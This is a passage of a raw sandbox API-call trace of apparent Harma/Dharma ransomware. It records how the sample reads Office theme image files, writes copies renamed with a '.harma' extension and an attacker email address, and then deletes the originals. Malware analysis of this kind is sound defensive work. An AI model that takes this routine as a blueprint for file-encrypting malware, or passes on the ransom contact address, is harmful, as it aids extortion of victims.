(lpString=".7z") returned 3 [0062.648] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.648] lstrlenW (lpString=".dbf") returned 4 [0062.648] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.648] lstrlenW (lpString=".1cd") returned 4 [0062.648] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.648] lstrlenW (lpString=".jpg") returned 4 [0062.648] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.648] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0062.648] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0062.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.649] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2668) returned 1 [0062.649] CloseHandle (hObject=0x1a0) returned 1 [0062.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0062.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.649] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.650] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.652] GetLastError () returned 0x0 [0062.652] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xa6c, lpOverlapped=0x0) returned 1 [0062.654] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xa70, lpOverlapped=0x0) returned 1 [0062.655] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.655] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.655] SetEndOfFile (hFile=0x170) returned 1 [0062.656] CloseHandle (hObject=0x170) returned 1 [0062.656] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.656] SetEndOfFile (hFile=0x1a0) returned 1 [0062.657] CloseHandle (hObject=0x1a0) returned 1 [0062.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.657] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0062.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.657] lstrlenW (lpString=".doc") returned 4 [0062.657] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.657] lstrlenW (lpString=".docx") returned 5 [0062.657] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.657] lstrlenW (lpString=".pdf") returned 4 [0062.657] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.657] lstrlenW (lpString=".xls") returned 4 [0062.657] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.657] lstrlenW (lpString=".xlsx") returned 5 [0062.658] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.658] lstrlenW (lpString=".ppt") returned 4 [0062.658] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.658] lstrlenW (lpString=".zip") returned 4 [0062.658] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.658] lstrlenW (lpString=".rar") returned 4 [0062.658] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.658] lstrlenW (lpString=".bz2") returned 4 [0062.658] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.658] lstrlenW (lpString=".7z") returned 3 [0062.658] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.658] lstrlenW (lpString=".dbf") returned 4 [0062.658] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.658] lstrlenW (lpString=".1cd") returned 4 [0062.658] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.658] lstrlenW (lpString=".jpg") returned 4 [0062.658] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.658] lstrlenW (lpString=".doc") returned 4 [0062.658] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.658] lstrlenW (lpString=".docx") returned 5 [0062.658] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.658] lstrlenW (lpString=".pdf") returned 4 [0062.658] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.658] lstrlenW (lpString=".xls") returned 4 [0062.658] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.658] lstrlenW (lpString=".xlsx") returned 5 [0062.659] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.659] lstrlenW (lpString=".ppt") returned 4 [0062.659] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.659] lstrlenW (lpString=".zip") returned 4 [0062.659] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.659] lstrlenW (lpString=".rar") returned 4 [0062.659] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.659] lstrlenW (lpString=".bz2") returned 4 [0062.659] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.659] lstrlenW (lpString=".7z") returned 3 [0062.659] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.659] lstrlenW (lpString=".dbf") returned 4 [0062.659] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.659] lstrlenW (lpString=".1cd") returned 4 [0062.659] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0062.659] lstrlenW (lpString=".jpg") returned 4 [0062.659] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.659] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0062.659] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0062.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.660] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=42453) returned 1 [0062.660] CloseHandle (hObject=0x1a0) returned 1 [0062.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0062.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.660] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.660] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.661] GetLastError () returned 0x0 [0062.661] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0062.663] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0062.665] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.665] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.665] SetEndOfFile (hFile=0x170) returned 1 [0062.665] CloseHandle (hObject=0x170) returned 1 [0062.666] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.666] SetEndOfFile (hFile=0x1a0) returned 1 [0062.667] CloseHandle (hObject=0x1a0) returned 1 [0062.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.667] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0062.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.667] lstrlenW (lpString=".doc") returned 4 [0062.667] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.667] lstrlenW (lpString=".docx") returned 5 [0062.667] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.667] lstrlenW (lpString=".pdf") returned 4 [0062.667] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.667] lstrlenW (lpString=".xls") returned 4 [0062.667] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.667] lstrlenW (lpString=".xlsx") returned 5 [0062.667] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.667] lstrlenW (lpString=".ppt") returned 4 [0062.667] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.668] lstrlenW (lpString=".zip") returned 4 [0062.668] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.668] lstrlenW (lpString=".rar") returned 4 [0062.668] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.668] lstrlenW (lpString=".bz2") returned 4 [0062.668] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.668] lstrlenW (lpString=".7z") returned 3 [0062.668] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.668] lstrlenW (lpString=".dbf") returned 4 [0062.668] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.668] lstrlenW (lpString=".1cd") returned 4 [0062.668] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.668] lstrlenW (lpString=".jpg") returned 4 [0062.668] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.668] lstrlenW (lpString=".doc") returned 4 [0062.668] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.668] lstrlenW (lpString=".docx") returned 5 [0062.668] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.668] lstrlenW (lpString=".pdf") returned 4 [0062.668] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.668] lstrlenW (lpString=".xls") returned 4 [0062.668] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.668] lstrlenW (lpString=".xlsx") returned 5 [0062.668] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.668] lstrlenW (lpString=".ppt") returned 4 [0062.668] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.669] lstrlenW (lpString=".zip") returned 4 [0062.669] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.669] lstrlenW (lpString=".rar") returned 4 [0062.669] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.669] lstrlenW (lpString=".bz2") returned 4 [0062.669] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.669] lstrlenW (lpString=".7z") returned 3 [0062.669] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.669] lstrlenW (lpString=".dbf") returned 4 [0062.669] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.669] lstrlenW (lpString=".1cd") returned 4 [0062.669] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0062.669] lstrlenW (lpString=".jpg") returned 4 [0062.669] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.669] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0062.669] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0062.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.670] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1571) returned 1 [0062.671] CloseHandle (hObject=0x1a0) returned 1 [0062.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0062.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.671] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.671] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.275] GetLastError () returned 0x0 [0064.275] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x623, lpOverlapped=0x0) returned 1 [0064.277] WriteFile (in: hFile=0x200, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x630, lpOverlapped=0x0) returned 1 [0064.278] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0064.278] WriteFile (in: hFile=0x200, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0064.278] SetEndOfFile (hFile=0x200) returned 1 [0064.278] CloseHandle (hObject=0x200) returned 1 [0064.278] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.278] SetEndOfFile (hFile=0x1a0) returned 1 [0064.279] CloseHandle (hObject=0x1a0) returned 1 [0064.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0064.279] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0064.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.280] lstrlenW (lpString=".doc") returned 4 [0064.280] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.280] lstrlenW (lpString=".docx") returned 5 [0064.280] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0064.280] lstrlenW (lpString=".pdf") returned 4 [0064.280] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.280] lstrlenW (lpString=".xls") returned 4 [0064.280] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.280] lstrlenW (lpString=".xlsx") returned 5 [0064.280] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0064.280] lstrlenW (lpString=".ppt") returned 4 [0064.280] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.280] lstrlenW (lpString=".zip") returned 4 [0064.280] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.280] lstrlenW (lpString=".rar") returned 4 [0064.280] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.280] lstrlenW (lpString=".bz2") returned 4 [0064.280] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.280] lstrlenW (lpString=".7z") returned 3 [0064.280] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.280] lstrlenW (lpString=".dbf") returned 4 [0064.280] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0064.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.280] lstrlenW (lpString=".1cd") returned 4 [0064.281] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0064.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.281] lstrlenW (lpString=".jpg") returned 4 [0064.281] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0064.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.281] lstrlenW (lpString=".doc") returned 4 [0064.281] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0064.281] lstrlenW (lpString=".docx") returned 5 [0064.281] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0064.281] lstrlenW (lpString=".pdf") returned 4 [0064.281] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0064.281] lstrlenW (lpString=".xls") returned 4 [0064.281] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0064.281] lstrlenW (lpString=".xlsx") returned 5 [0064.281] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0064.281] lstrlenW (lpString=".ppt") returned 4 [0064.281] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0064.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0064.281] lstrlenW (lpString=".zip") returned 4 [0064.281] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0064.281] lstrlenW (lpString=".rar") returned 4 [0064.281] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0064.281] lstrlenW (lpString=".bz2") returned 4 [0064.281] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0064.281] lstrlenW (lpString=".7z") returned 3 [0064.281] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0064.281] 